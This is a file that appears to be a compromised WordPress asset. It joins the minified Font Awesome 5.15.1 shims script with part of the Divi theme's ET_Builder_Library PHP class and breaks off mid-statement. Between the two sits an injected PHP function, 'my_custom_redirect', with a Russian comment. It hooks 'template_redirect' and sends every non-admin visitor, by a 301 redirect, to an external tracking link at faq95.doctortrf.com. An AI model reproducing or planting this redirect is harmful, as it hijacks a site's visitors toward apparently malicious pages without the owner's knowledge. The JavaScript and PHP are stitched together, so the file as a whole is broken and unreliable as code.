/*! * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global['fontawesome-free-shims'] = factory()); }(this, (function () { 'use strict'; var _WINDOW = {}; var _DOCUMENT = {}; try { if (typeof window !== 'undefined') _WINDOW = window; if (typeof document !== 'undefined') _DOCUMENT = document; } catch (e) {} var _ref = _WINDOW.navigator || {}, _ref$userAgent = _ref.userAgent, userAgent = _ref$userAgent === void 0 ? '' : _ref$userAgent; var WINDOW = _WINDOW; var DOCUMENT = _DOCUMENT; var IS_BROWSER = !!WINDOW.document; var IS_DOM = !!DOCUMENT.documentElement && !!DOCUMENT.head && typeof DOCUMENT.addEventListener === 'function' && typeof DOCUMENT.createElement === 'function'; var IS_IE = ~userAgent.indexOf('MSIE') || ~userAgent.indexOf('Trident/'); var NAMESPACE_IDENTIFIER = '___FONT_AWESOME___'; var PRODUCTION = function () { try { return process.env.NODE_ENV === 'production'; } catch (e) { return false; } }(); function bunker(fn) { try { fn(); } catch (e) { if (!PRODUCTION) { throw e; } } } var w = WINDOW || {}; if (!w[NAMESPACE_IDENTIFIER]) w[NAMESPACE_IDENTIFIER] = {}; if (!w[NAMESPACE_IDENTIFIER].styles) w[NAMESPACE_IDENTIFIER].styles = {}; if (!w[NAMESPACE_IDENTIFIER].hooks) w[NAMESPACE_IDENTIFIER].hooks = {}; if (!w[NAMESPACE_IDENTIFIER].shims) w[NAMESPACE_IDENTIFIER].shims = []; var namespace = w[NAMESPACE_IDENTIFIER]; var shims = [["glass", null, "glass-martini"], ["meetup", "fab", null], ["star-o", "far", "star"], ["remove", null, "times"], ["close", null, "times"], ["gear", null, "cog"], ["trash-o", "far", "trash-alt"], ["file-o", "far", "file"], ["clock-o", "far", "clock"], ["arrow-circle-o-down", "far", "arrow-alt-circle-down"], ["arrow-circle-o-up", "far", "arrow-alt-circle-up"], ["play-circle-o", "far", "play-circle"], ["repeat", null, "redo"], ["rotate-right", null, "redo"], ["refresh", null, "sync"], ["list-alt", "far", null], ["dedent", null, "outdent"], ["video-camera", null, "video"], ["picture-o", "far", "image"], ["photo", "far", "image"], ["image", "far", "image"], ["pencil", null, "pencil-alt"], ["map-marker", null, "map-marker-alt"], ["pencil-square-o", "far", "edit"], ["share-square-o", "far", "share-square"], ["check-square-o", "far", "check-square"], ["arrows", null, "arrows-alt"], ["times-circle-o", "far", "times-circle"], ["check-circle-o", "far", "check-circle"], ["mail-forward", null, "share"], ["expand", null, "expand-alt"], ["compress", null, "compress-alt"], ["eye", "far", null], ["eye-slash", "far", null], ["warning", null, "exclamation-triangle"], ["calendar", null, "calendar-alt"], ["arrows-v", null, "arrows-alt-v"], ["arrows-h", null, "arrows-alt-h"], ["bar-chart", "far", "chart-bar"], ["bar-chart-o", "far", "chart-bar"], ["twitter-square", "fab", null], ["facebook-square", "fab", null], ["gears", null, "cogs"], ["thumbs-o-up", "far", "thumbs-up"], ["thumbs-o-down", "far", "thumbs-down"], ["heart-o", "far", "heart"], ["sign-out", null, "sign-out-alt"], ["linkedin-square", "fab", "linkedin"], ["thumb-tack", null, "thumbtack"], ["external-link", null, "external-link-alt"], ["sign-in", null, "sign-in-alt"], ["github-square", "fab", null], ["lemon-o", "far", "lemon"], ["square-o", "far", "square"], ["bookmark-o", "far", "bookmark"], ["twitter", "fab", null], ["facebook", "fab", "facebook-f"], ["facebook-f", "fab", "facebook-f"], ["github", "fab", null], ["credit-card", "far", null], ["feed", null, "rss"], ["hdd-o", "far", "hdd"], ["hand-o-right", "far", "hand-point-right"], ["hand-o-left", "far", "hand-point-left"], ["hand-o-up", "far", "hand-point-up"], ["hand-o-down", "far", "hand-point-down"], ["arrows-alt", null, "expand-arrows-alt"], ["group", null, "users"], ["chain", null, "link"], ["scissors", null, "cut"], ["files-o", "far", "copy"], ["floppy-o", "far", "save"], ["navicon", null, "bars"], ["reorder", null, "bars"], ["pinterest", "fab", null], ["pinterest-square", "fab", null], ["google-plus-square", "fab", null], ["google-plus", "fab", "google-plus-g"], ["money", "far", "money-bill-alt"], ["unsorted", null, "sort"], ["sort-desc", null, "sort-down"], ["sort-asc", null, "sort-up"], ["linkedin", "fab", "linkedin-in"], ["rotate-left", null, "undo"], ["legal", null, "gavel"], ["tachometer", null, "tachometer-alt"], ["dashboard", null, "tachometer-alt"], ["comment-o", "far", "comment"], ["comments-o", "far", "comments"], ["flash", null, "bolt"], ["clipboard", "far", null], ["paste", "far", "clipboard"], ["lightbulb-o", "far", "lightbulb"], ["exchange", null, "exchange-alt"], ["cloud-download", null, "cloud-download-alt"], ["cloud-upload", null, "cloud-upload-alt"], ["bell-o", "far", "bell"], ["cutlery", null, "utensils"], ["file-text-o", "far", "file-alt"], ["building-o", "far", "building"], ["hospital-o", "far", "hospital"], ["tablet", null, "tablet-alt"], ["mobile", null, "mobile-alt"], ["mobile-phone", null, "mobile-alt"], ["circle-o", "far", "circle"], ["mail-reply", null, "reply"], ["github-alt", "fab", null], ["folder-o", "far", "folder"], ["folder-open-o", "far", "folder-open"], ["smile-o", "far", "smile"], ["frown-o", "far", "frown"], ["meh-o", "far", "meh"], ["keyboard-o", "far", "keyboard"], ["flag-o", "far", "flag"], ["mail-reply-all", null, "reply-all"], ["star-half-o", "far", "star-half"], ["star-half-empty", "far", "star-half"], ["star-half-full", "far", "star-half"], ["code-fork", null, "code-branch"], ["chain-broken", null, "unlink"], ["shield", null, "shield-alt"], ["calendar-o", "far", "calendar"], ["maxcdn", "fab", null], ["html5", "fab", null], ["css3", "fab", null], ["ticket", null, "ticket-alt"], ["minus-square-o", "far", "minus-square"], ["level-up", null, "level-up-alt"], ["level-down", null, "level-down-alt"], ["pencil-square", null, "pen-square"], ["external-link-square", null, "external-link-square-alt"], ["compass", "far", null], ["caret-square-o-down", "far", "caret-square-down"], ["toggle-down", "far", "caret-square-down"], ["caret-square-o-up", "far", "caret-square-up"], ["toggle-up", "far", "caret-square-up"], ["caret-square-o-right", "far", "caret-square-right"], ["toggle-right", "far", "caret-square-right"], ["eur", null, "euro-sign"], ["euro", null, "euro-sign"], ["gbp", null, "pound-sign"], ["usd", null, "dollar-sign"], ["dollar", null, "dollar-sign"], ["inr", null, "rupee-sign"], ["rupee", null, "rupee-sign"], ["jpy", null, "yen-sign"], ["cny", null, "yen-sign"], ["rmb", null, "yen-sign"], ["yen", null, "yen-sign"], ["rub", null, "ruble-sign"], ["ruble", null, "ruble-sign"], ["rouble", null, "ruble-sign"], ["krw", null, "won-sign"], ["won", null, "won-sign"], ["btc", "fab", null], ["bitcoin", "fab", "btc"], ["file-text", null, "file-alt"], ["sort-alpha-asc", null, "sort-alpha-down"], ["sort-alpha-desc", null, "sort-alpha-down-alt"], ["sort-amount-asc", null, "sort-amount-down"], ["sort-amount-desc", null, "sort-amount-down-alt"], ["sort-numeric-asc", null, "sort-numeric-down"], ["sort-numeric-desc", null, "sort-numeric-down-alt"], ["youtube-square", "fab", null], ["youtube", "fab", null], ["xing", "fab", null], ["xing-square", "fab", null], ["youtube-play", "fab", "youtube"], ["dropbox", "fab", null], ["stack-overflow", "fab", null], ["instagram", "fab", null], ["flickr", "fab", null], ["adn", "fab", null], ["bitbucket", "fab", null], ["bitbucket-square", "fab", "bitbucket"], ["tumblr", "fab", null], ["tumblr-square", "fab", null], ["long-arrow-down", null, "long-arrow-alt-down"], ["long-arrow-up", null, "long-arrow-alt-up"], ["long-arrow-left", null, "long-arrow-alt-left"], ["long-arrow-right", null, "long-arrow-alt-right"], ["apple", "fab", null], ["windows", "fab", null], ["android", "fab", null], ["linux", "fab", null], ["dribbble", "fab", null], ["skype", "fab", null], ["foursquare", "fab", null], ["trello", "fab", null], ["gratipay", "fab", null], ["gittip", "fab", "gratipay"], ["sun-o", "far", "sun"], ["moon-o", "far", "moon"], ["vk", "fab", null], ["weibo", "fab", null], ["renren", "fab", null], ["pagelines", "fab", null], ["stack-exchange", "fab", null], ["arrow-circle-o-right", "far", "arrow-alt-circle-right"], ["arrow-circle-o-left", "far", "arrow-alt-circle-left"], ["caret-square-o-left", "far", "caret-square-left"], ["toggle-left", "far", "caret-square-left"], ["dot-circle-o", "far", "dot-circle"], ["vimeo-square", "fab", null], ["try", null, "lira-sign"], ["turkish-lira", null, "lira-sign"], ["plus-square-o", "far", "plus-square"], ["slack", "fab", null], ["wordpress", "fab", null], ["openid", "fab", null], ["institution", null, "university"], ["bank", null, "university"], ["mortar-board", null, "graduation-cap"], ["yahoo", "fab", null], ["google", "fab", null], ["reddit", "fab", null], ["reddit-square", "fab", null], ["stumbleupon-circle", "fab", null], ["stumbleupon", "fab", null], ["delicious", "fab", null], ["digg", "fab", null], ["pied-piper-pp", "fab", null], ["pied-piper-alt", "fab", null], ["drupal", "fab", null], ["joomla", "fab", null], ["spoon", null, "utensil-spoon"], ["behance", "fab", null], ["behance-square", "fab", null], ["steam", "fab", null], ["steam-square", "fab", null], ["automobile", null, "car"], ["envelope-o", "far", "envelope"], ["spotify", "fab", null], ["deviantart", "fab", null], ["soundcloud", "fab", null], ["file-pdf-o", "far", "file-pdf"], ["file-word-o", "far", "file-word"], ["file-excel-o", "far", "file-excel"], ["file-powerpoint-o", "far", "file-powerpoint"], ["file-image-o", "far", "file-image"], ["file-photo-o", "far", "file-image"], ["file-picture-o", "far", "file-image"], ["file-archive-o", "far", "file-archive"], ["file-zip-o", "far", "file-archive"], ["file-audio-o", "far", "file-audio"], ["file-sound-o", "far", "file-audio"], ["file-video-o", "far", "file-video"], ["file-movie-o", "far", "file-video"], ["file-code-o", "far", "file-code"], ["vine", "fab", null], ["codepen", "fab", null], ["jsfiddle", "fab", null], ["life-ring", "far", null], ["life-bouy", "far", "life-ring"], ["life-buoy", "far", "life-ring"], ["life-saver", "far", "life-ring"], ["support", "far", "life-ring"], ["circle-o-notch", null, "circle-notch"], ["rebel", "fab", null], ["ra", "fab", "rebel"], ["resistance", "fab", "rebel"], ["empire", "fab", null], ["ge", "fab", "empire"], ["git-square", "fab", null], ["git", "fab", null], ["hacker-news", "fab", null], ["y-combinator-square", "fab", "hacker-news"], ["yc-square", "fab", "hacker-news"], ["tencent-weibo", "fab", null], ["qq", "fab", null], ["weixin", "fab", null], ["wechat", "fab", "weixin"], ["send", null, "paper-plane"], ["paper-plane-o", "far", "paper-plane"], ["send-o", "far", "paper-plane"], ["circle-thin", "far", "circle"], ["header", null, "heading"], ["sliders", null, "sliders-h"], ["futbol-o", "far", "futbol"], ["soccer-ball-o", "far", "futbol"], ["slideshare", "fab", null], ["twitch", "fab", null], ["yelp", "fab", null], ["newspaper-o", "far", "newspaper"], ["paypal", "fab", null], ["google-wallet", "fab", null], ["cc-visa", "fab", null], ["cc-mastercard", "fab", null], ["cc-discover", "fab", null], ["cc-amex", "fab", null], ["cc-paypal", "fab", null], ["cc-stripe", "fab", null], ["bell-slash-o", "far", "bell-slash"], ["trash", null, "trash-alt"], ["copyright", "far", null], ["eyedropper", null, "eye-dropper"], ["area-chart", null, "chart-area"], ["pie-chart", null, "chart-pie"], ["line-chart", null, "chart-line"], ["lastfm", "fab", null], ["lastfm-square", "fab", null], ["ioxhost", "fab", null], ["angellist", "fab", null], ["cc", "far", "closed-captioning"], ["ils", null, "shekel-sign"], ["shekel", null, "shekel-sign"], ["sheqel", null, "shekel-sign"], ["meanpath", "fab", "font-awesome"], ["buysellads", "fab", null], ["connectdevelop", "fab", null], ["dashcube", "fab", null], ["forumbee", "fab", null], ["leanpub", "fab", null], ["sellsy", "fab", null], ["shirtsinbulk", "fab", null], ["simplybuilt", "fab", null], ["skyatlas", "fab", null], ["diamond", "far", "gem"], ["intersex", null, "transgender"], ["facebook-official", "fab", "facebook"], ["pinterest-p", "fab", null], ["whatsapp", "fab", null], ["hotel", null, "bed"], ["viacoin", "fab", null], ["medium", "fab", null], ["y-combinator", "fab", null], ["yc", "fab", "y-combinator"], ["optin-monster", "fab", null], ["opencart", "fab", null], ["expeditedssl", "fab", null], ["battery-4", null, "battery-full"], ["battery", null, "battery-full"], ["battery-3", null, "battery-three-quarters"], ["battery-2", null, "battery-half"], ["battery-1", null, "battery-quarter"], ["battery-0", null, "battery-empty"], ["object-group", "far", null], ["object-ungroup", "far", null], ["sticky-note-o", "far", "sticky-note"], ["cc-jcb", "fab", null], ["cc-diners-club", "fab", null], ["clone", "far", null], ["hourglass-o", "far", "hourglass"], ["hourglass-1", null, "hourglass-start"], ["hourglass-2", null, "hourglass-half"], ["hourglass-3", null, "hourglass-end"], ["hand-rock-o", "far", "hand-rock"], ["hand-grab-o", "far", "hand-rock"], ["hand-paper-o", "far", "hand-paper"], ["hand-stop-o", "far", "hand-paper"], ["hand-scissors-o", "far", "hand-scissors"], ["hand-lizard-o", "far", "hand-lizard"], ["hand-spock-o", "far", "hand-spock"], ["hand-pointer-o", "far", "hand-pointer"], ["hand-peace-o", "far", "hand-peace"], ["registered", "far", null], ["creative-commons", "fab", null], ["gg", "fab", null], ["gg-circle", "fab", null], ["tripadvisor", "fab", null], ["odnoklassniki", "fab", null], ["odnoklassniki-square", "fab", null], ["get-pocket", "fab", null], ["wikipedia-w", "fab", null], ["safari", "fab", null], ["chrome", "fab", null], ["firefox", "fab", null], ["opera", "fab", null], ["internet-explorer", "fab", null], ["television", null, "tv"], ["contao", "fab", null], ["500px", "fab", null], ["amazon", "fab", null], ["calendar-plus-o", "far", "calendar-plus"], ["calendar-minus-o", "far", "calendar-minus"], ["calendar-times-o", "far", "calendar-times"], ["calendar-check-o", "far", "calendar-check"], ["map-o", "far", "map"], ["commenting", null, "comment-dots"], ["commenting-o", "far", "comment-dots"], ["houzz", "fab", null], ["vimeo", "fab", "vimeo-v"], ["black-tie", "fab", null], ["fonticons", "fab", null], ["reddit-alien", "fab", null], ["edge", "fab", null], ["credit-card-alt", null, "credit-card"], ["codiepie", "fab", null], ["modx", "fab", null], ["fort-awesome", "fab", null], ["usb", "fab", null], ["product-hunt", "fab", null], ["mixcloud", "fab", null], ["scribd", "fab", null], ["pause-circle-o", "far", "pause-circle"], ["stop-circle-o", "far", "stop-circle"], ["bluetooth", "fab", null], ["bluetooth-b", "fab", null], ["gitlab", "fab", null], ["wpbeginner", "fab", null], ["wpforms", "fab", null], ["envira", "fab", null], ["wheelchair-alt", "fab", "accessible-icon"], ["question-circle-o", "far", "question-circle"], ["volume-control-phone", null, "phone-volume"], ["asl-interpreting", null, "american-sign-language-interpreting"], ["deafness", null, "deaf"], ["hard-of-hearing", null, "deaf"], ["glide", "fab", null], ["glide-g", "fab", null], ["signing", null, "sign-language"], ["viadeo", "fab", null], ["viadeo-square", "fab", null], ["snapchat", "fab", null], ["snapchat-ghost", "fab", null], ["snapchat-square", "fab", null], ["pied-piper", "fab", null], ["first-order", "fab", null], ["yoast", "fab", null], ["themeisle", "fab", null], ["google-plus-official", "fab", "google-plus"], ["google-plus-circle", "fab", "google-plus"], ["font-awesome", "fab", null], ["fa", "fab", "font-awesome"], ["handshake-o", "far", "handshake"], ["envelope-open-o", "far", "envelope-open"], ["linode", "fab", null], ["address-book-o", "far", "address-book"], ["vcard", null, "address-card"], ["address-card-o", "far", "address-card"], ["vcard-o", "far", "address-card"], ["user-circle-o", "far", "user-circle"], ["user-o", "far", "user"], ["id-badge", "far", null], ["drivers-license", null, "id-card"], ["id-card-o", "far", "id-card"], ["drivers-license-o", "far", "id-card"], ["quora", "fab", null], ["free-code-camp", "fab", null], ["telegram", "fab", null], ["thermometer-4", null, "thermometer-full"], ["thermometer", null, "thermometer-full"], ["thermometer-3", null, "thermometer-three-quarters"], ["thermometer-2", null, "thermometer-half"], ["thermometer-1", null, "thermometer-quarter"], ["thermometer-0", null, "thermometer-empty"], ["bathtub", null, "bath"], ["s15", null, "bath"], ["window-maximize", "far", null], ["window-restore", "far", null], ["times-rectangle", null, "window-close"], ["window-close-o", "far", "window-close"], ["times-rectangle-o", "far", "window-close"], ["bandcamp", "fab", null], ["grav", "fab", null], ["etsy", "fab", null], ["imdb", "fab", null], ["ravelry", "fab", null], ["eercast", "fab", "sellcast"], ["snowflake-o", "far", "snowflake"], ["superpowers", "fab", null], ["wpexplorer", "fab", null], ["cab", null, "taxi"]]; bunker(function () { if (typeof namespace.hooks.addShims === 'function') { namespace.hooks.addShims(shims); } else { var _namespace$shims; (_namespace$shims = namespace.shims).push.apply(_namespace$shims, shims); } }); return shims; })));function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); class ET_Builder_Library { /** * @var ET_Builder_Library */ private static $_instance; /** * @var ET_Core_Data_Utils */ protected static $_; /** * @var mixed[] */ protected static $_i18n; /** * @var string */ protected static $_primary_category_key; /** * @var string[] */ protected static $_standard_post_types = array( 'post', 'page', 'project' ); /** * @var ET_Builder_Post_Taxonomy_LayoutCategory */ public $layout_categories; /** * @var ET_Builder_Post_Taxonomy_LayoutPack */ public $layout_packs; /** * @var ET_Builder_Post_Taxonomy_LayoutType */ public $layout_types; /** * @var ET_Builder_Post_Type_Layout */ public $layouts; /** * ET_Builder_Library constructor. */ public function __construct() { $this->_instance_check(); $this->_register_cpt_and_taxonomies(); self::$_ = ET_Core_Data_Utils::instance(); $this->_register_hooks(); $this->_register_ajax_callbacks(); self::$_i18n = require( ET_BUILDER_DIR . '/frontend-builder/i18n/library.php' ); self::$_standard_post_types = self::_standard_post_types(); } /** * Compare by slug * * @param object $a * @param object $b * * @return bool */ public static function compare_by_slug( $a, $b ) { return strcmp( $a->slug, $b->slug ); } /** * Gets a translated string from {@see self::$_i18n}. * * @param string $string The untranslated string. * @param string $path Optional path for nested strings. * * @return string The translated string if found, the original string otherwise. */ public static function __( $string, $path = '' ) { $path .= $path ? ".{$string}" : $string; return self::$_->array_get( self::$_i18n, $path, $string ); } /** * Dies if an instance already exists. * * @since 3.0.99 */ protected function _instance_check() { if ( self::$_instance ) { et_error( 'Multiple instances are not allowed!' ); wp_die(); } } /** * Get the name of a thumbnail image size used in the library UI. * * @since 3.0.99 * * @param string $type The thumbnail type. Accepts 'thumbnail', 'screenshot'. * * @return string */ protected static function _get_image_size_name( $type ) { $names = array( 'thumbnail' => 'et-pb-portfolio-image', 'thumbnail_small' => 'et-pb-portfolio-image', 'screenshot' => 'et-pb-portfolio-image-single', ); $name = $names[ $type ]; /** * Filters the names of the registered image sizes to use for layout thumbnails. The * dynamic portion of the filter name, '$type', refers to the layout image * type ('thumbnail' or 'screenshot'). * * @since 3.0.99 * * @param string $name The name of the registered image size that should be used. */ return apply_filters( "et_builder_layout_{$type}_image_size_name", $name ); } /** * Returns a filtered short name for a layout. * * @since 3.0.99 * * @param string $long_name * @param WP_Post $layout * * @return string */ protected function _get_layout_short_name( $long_name, $layout ) { /** * Filters the short name for layouts that do not have one. * * @since 3.0.99 * * @param string $long_name * @param WP_Post $layout */ return apply_filters( 'et_builder_library_layout_short_name', $long_name, $layout ); } /** * Processes layout categories for inclusion in the library UI layouts data. * * @since 3.0.99 * * @param WP_POST $post Unprocessed layout. * @param object $layout Currently processing layout. * @param int $index The layout's index position. * @param array[] $layout_categories Processed layouts. */ protected function _process_layout_categories( $post, $layout, $index, &$layout_categories ) { if ( ! $terms = wp_get_post_terms( $post->ID, $this->layout_categories->name ) ) { $layout->category_slug = 'uncategorized'; return; } foreach ( $terms as $category ) { $category_name = self::__( html_entity_decode( $category->name ), '@categories' ); $category_name = et_core_intentionally_unescaped( $category_name, 'react_jsx' ); if ( ! isset( $layout_categories[ $category->term_id ] ) ) { $layout_categories[ $category->term_id ] = array( 'id' => $category->term_id, 'name' => $category_name, 'slug' => $category->slug, 'layouts' => array(), ); } $layout_categories[ $category->term_id ]['layouts'][] = $index; $layout->categories[] = $category_name; $layout->category_ids[] = $category->term_id; if ( ! isset( $layout->category_slug ) ) { $layout->category_slug = $category->slug; } if ( $id = get_post_meta( $post->ID, self::$_primary_category_key, true ) ) { // $id is a string, $category->term_id is an int. if ( $id === $category->term_id ) { // This is the primary category (used in the layout URL) $layout->category_slug = $category->slug; } } } } /** * Processes layout packs for inclusion in the library UI layouts data. * * @since 3.0.99 * * @param WP_POST $post Unprocessed layout. * @param object $layout Currently processing layout. * @param int $index The layout's index position. * @param array[] $layout_packs Processed layouts. */ protected function _process_layout_packs( $post, $layout, $index, &$layout_packs ) { if ( ! $terms = wp_get_post_terms( $post->ID, $this->layout_packs->name ) ) { return; } $pack = array_shift( $terms ); $pack_name = self::__( html_entity_decode( $pack->name ), '@packs' ); $pack_name = et_core_intentionally_unescaped( $pack_name, 'react_jsx' ); if ( ! isset( $layout_packs[ $pack->term_id ] ) ) { $layout_packs[ $pack->term_id ] = array( 'id' => $pack->term_id, 'name' => $pack_name, 'slug' => $pack->slug, 'date' => $layout->date, 'layouts' => array(), ); } if ( $layout->is_landing ) { $layout_packs[ $pack->term_id ]['thumbnail'] = $layout->thumbnail; $layout_packs[ $pack->term_id ]['screenshot'] = $layout->screenshot; $layout_packs[ $pack->term_id ]['description'] = et_core_intentionally_unescaped( html_entity_decode( $post->post_excerpt ), 'react_jsx' ); $layout_packs[ $pack->term_id ]['category_slug'] = $layout->category_slug; $layout_packs[ $pack->term_id ]['landing_index'] = $index; } $layout_packs[ $pack->term_id ]['layouts'][] = $index; $layout_packs[ $pack->term_id ]['categories'] = $layout->categories; $layout_packs[ $pack->term_id ]['category_ids'] = $layout->category_ids; $layout->pack = $pack_name; $layout->pack_id = $pack->term_id; } /** * Registers the Library's AJAX callbacks. * * @since 3.0.99 */ protected function _register_ajax_callbacks() { add_action( 'wp_ajax_et_builder_library_get_layouts_data', array( $this, 'wp_ajax_et_builder_library_get_layouts_data' ) ); add_action( 'wp_ajax_et_builder_library_get_layout', array( $this, 'wp_ajax_et_builder_library_get_layout' ) ); add_action( 'wp_ajax_et_builder_library_update_account', array( $this, 'wp_ajax_et_builder_library_update_account' ) ); } /** * Registers the Library's custom post types and taxonomies. * * @since 3.0.99 */ protected function _register_cpt_and_taxonomies() { if ( ! $files = glob( ET_BUILDER_DIR . 'post/*/Layout*.php' ) ) { return; } foreach ( $files as $file ) { require_once $file; } $this->layouts = ET_Builder_Post_Type_Layout::instance(); $this->layout_categories = ET_Builder_Post_Taxonomy_LayoutCategory::instance(); $this->layout_packs = ET_Builder_Post_Taxonomy_LayoutPack::instance(); $this->layout_types = ET_Builder_Post_Taxonomy_LayoutType::instance(); ET_Builder_Post_Taxonomy_LayoutScope::instance(); ET_Builder_Post_Taxonomy_LayoutWidth::instance(); // We manually call register_all() now to ensure the CPT and taxonomies are registered // at exactly the same point during the request that they were in prior releases. ET_Builder_Post_Type_Layout::register_all( 'builder' ); self::$_primary_category_key = "_yoast_wpseo_primary_{$this->layout_categories->name}"; } /** * Registers the Library's non-AJAX callbacks. * * @since 3.0.99 */ public function _register_hooks() { add_action( 'admin_init', 'ET_Builder_Library::update_old_layouts' ); add_action( 'admin_enqueue_scripts', array( $this, 'wp_hook_admin_enqueue_scripts' ), 4 ); } /** * Returns sorted layout category and pack IDs for use in library UI layouts data. * * @since 3.0.99 * * @param array[] $categories * @param array[] $packs * * @return array[] { * * @type int[] $categories Layout category ids sorted alphabetically by category name. * @type int[] $packs Layout pack ids sorted alphabetically by pack name. * } */ protected static function _sort_builder_library_data( $categories, $packs ) { $categories = array_values( $categories ); $packs = array_values( $packs ); $sorted = array(); foreach ( array( 'categories', 'packs' ) as $taxonomy ) { $sorted[ $taxonomy ] = array(); $$taxonomy = self::$_->array_sort_by( $$taxonomy, 'slug' ); foreach ( $$taxonomy as $term ) { $sorted[ $taxonomy ][] = $term['id']; } } return $sorted; } public static function _standard_post_types() { /** * Filters the Divi Library's Standard Post Types. * * @since 3.0.99 * * @param string[] $standard_post_types */ return apply_filters( 'et_pb_standard_post_types', self::$_standard_post_types ); } /** * Generates layouts data for the builder's library UI. * * @since 3.0.99 * * @return array $data */ public function builder_library_layouts_data() { $layout_categories = array(); $layout_packs = array(); $layouts = array(); $index = 0; $thumbnail = self::_get_image_size_name( 'thumbnail' ); $thumbnail_small = self::_get_image_size_name( 'thumbnail_small' ); $screenshot = self::_get_image_size_name( 'screenshot' ); $extra_layout_post_type = 'layout'; $posts = $this->layouts ->query() ->not()->with_meta( '_et_pb_built_for_post_type', $extra_layout_post_type ) ->run(); $posts = self::$_->array_sort_by( is_array( $posts ) ? $posts : array( $posts ), 'post_name' ); foreach ( $posts as $post ) { $layout = new stdClass; setup_postdata( $post ); $layout->id = $post->ID; $layout->index = $index; $layout->date = $post->post_date; if ( ! $types = wp_get_post_terms( $layout->id, $this->layout_types->name ) ) { continue; } $layout->type = $types[0]->name; // For the initial release of new library UI, only 'layouts' are needed. if ( 'layout' !== $layout->type ) { continue; } $title = html_entity_decode( $post->post_title ); if ( ! $short_name = get_post_meta( $post->ID, '_et_builder_library_short_name', true ) ) { $short_name = $this->_get_layout_short_name( $title, $post ); if ( $short_name !== $title ) { update_post_meta( $post->ID, '_et_builder_library_short_name', $short_name ); } } $layout->name = $layout->short_name = ''; if ( $title ) { // Remove periods since we use dot notation to retrieve translation str_replace( '.', '', $title ); $layout->name = et_core_intentionally_unescaped( self::__( $title, '@layoutsLong' ), 'react_jsx' ); } if ( $short_name ) { // Remove periods since we use dot notation to retrieve translation str_replace( '.', '', $title ); $layout->short_name = et_core_intentionally_unescaped( self::__( $short_name, '@layoutsShort' ), 'react_jsx' ); } $layout->slug = $post->post_name; $layout->url = esc_url( wp_make_link_relative( get_permalink( $post ) ) ); $layout->thumbnail = esc_url( get_the_post_thumbnail_url( $post->ID, $thumbnail ) ); $layout->thumbnail_small = esc_url( get_the_post_thumbnail_url( $post->ID, $thumbnail_small ) ); $layout->screenshot = esc_url( get_the_post_thumbnail_url( $post->ID, $screenshot ) ); $layout->categories = array(); $layout->category_ids = array(); $layout->is_global = $this->layouts->is_global( $layout->id ); $layout->is_landing = ! empty( $post->post_excerpt ); $layout->description = ''; $this->_process_layout_categories( $post, $layout, $index, $layout_categories ); $this->_process_layout_packs( $post, $layout, $index, $layout_packs ); wp_reset_postdata(); $layouts[] = $layout; $index++; } /** * Filters data for the 'My Saved Layouts' tab. * * @since 3.1 * * @param array[] $saved_layouts_data { * Saved Layouts Data * * @type array[] $categories { * Layout Categories * * @type $id mixed[] { * Category * * @type int $id Id. * @type int[] $layouts Id's of layouts in category. * @type string $name Name. * @type string $slug Slug. * } * ... * } * @type array[] $packs { * Layout Packs * * @type $id mixed[] { * Pack * * @type string $category_ids Category ids. * @type string $category_slug Primary category slug. * @type string $date Published date. * @type string $description Description. * @type int $id Id. * @type int[] $layouts Id's of layouts in pack. * @type string $name Name. * @type string $screenshot Screenshot URL. * @type string $slug Slug. * @type string $thumbnail Thumbnail URL. * } * ... * } * @type object[] $layouts { * Layouts * * @type object { * Layout * * @type int $id ID * @type string[] $categories * @type int[] $category_ids * @type string $category_slug * @type int $date * @type string $description * @type int $index * @type bool $is_global * @type bool $is_landing * @type string $name * @type string $screenshot * @type string $short_name * @type string $slug * @type string $thumbnail * @type string $thumbnail_small * @type string $type * @type string $url * } * ... * } * @type array[] $sorted { * Sorted Ids * * @type int[] $categories * @type int[] $packs * } * } */ $saved_layouts_data = apply_filters( 'et_builder_library_saved_layouts', array( 'categories' => $layout_categories, 'packs' => $layout_packs, 'layouts' => $layouts, 'sorted' => self::_sort_builder_library_data( $layout_categories, $layout_packs ), ) ); /** * Filters custom tabs layout data for the library modal. Custom tabs must be registered * via the {@see 'et_builder_library_modal_custom_tabs'} filter. * * @since 3.1 * * @param array[] $custom_layouts_data { * Custom Layouts Data Organized By Modal Tab * * @type array[] $tab_slug See {@see 'et_builder_library_saved_layouts'} for array structure. * ... * } * @param array[] $saved_layouts_data {@see 'et_builder_library_saved_layouts'} for array structure. */ $custom_layouts_data = apply_filters( 'et_builder_library_custom_layouts', array( 'existing_pages' => $this->builder_library_modal_custom_tabs_existing_pages(), ), $saved_layouts_data ); return array( 'layouts_data' => $saved_layouts_data, 'custom_layouts_data' => $custom_layouts_data, ); } /** * Filters data for the 'Your Existing Pages' tab. * * @since 3.4 * * @return array[] $saved_layouts_data { * Existing Pages/Posts Data * * @type array[] $categories { * Post Types Filters * * @type $id mixed[] { * Post Type * * @type int $id Id. * @type int[] $layouts Id's of layouts in filter. * @type string $name Name. * @type string $slug Slug. * } * ... * } * @type array[] $packs { * Layout Packs * * @type $id mixed[] { * Pack * * @type string $category_ids Category ids. * @type string $category_slug Primary category slug. * @type string $date Published date. * @type string $description Description. * @type int $id Id. * @type int[] $layouts Id's of layouts in pack. * @type string $name Name. * @type string $screenshot Screenshot URL. * @type string $slug Slug. * @type string $thumbnail Thumbnail URL. * } * ... * } * @type object[] $layouts { * Pages/Posts Data * * @type object { * Page/Post Object * * @type int $id ID * @type string[] $categories * @type int[] $category_ids * @type string $category_slug * @type int $date * @type string $description * @type int $index * @type bool $is_global * @type bool $is_landing * @type string $name * @type string $screenshot * @type string $short_name * @type string $slug * @type string $thumbnail * @type string $thumbnail_small * @type string $type * @type string $url * } * ... * } * @type array[] $sorted { * Sorted Ids * * @type int[] $categories * @type int[] $packs * } * } */ protected function builder_library_modal_custom_tabs_existing_pages() { et_core_nonce_verified_previously(); $categories = array(); $packs = array(); $layouts = array(); $index = 0; $thumbnail = self::_get_image_size_name( 'thumbnail' ); $thumbnail_small = self::_get_image_size_name( 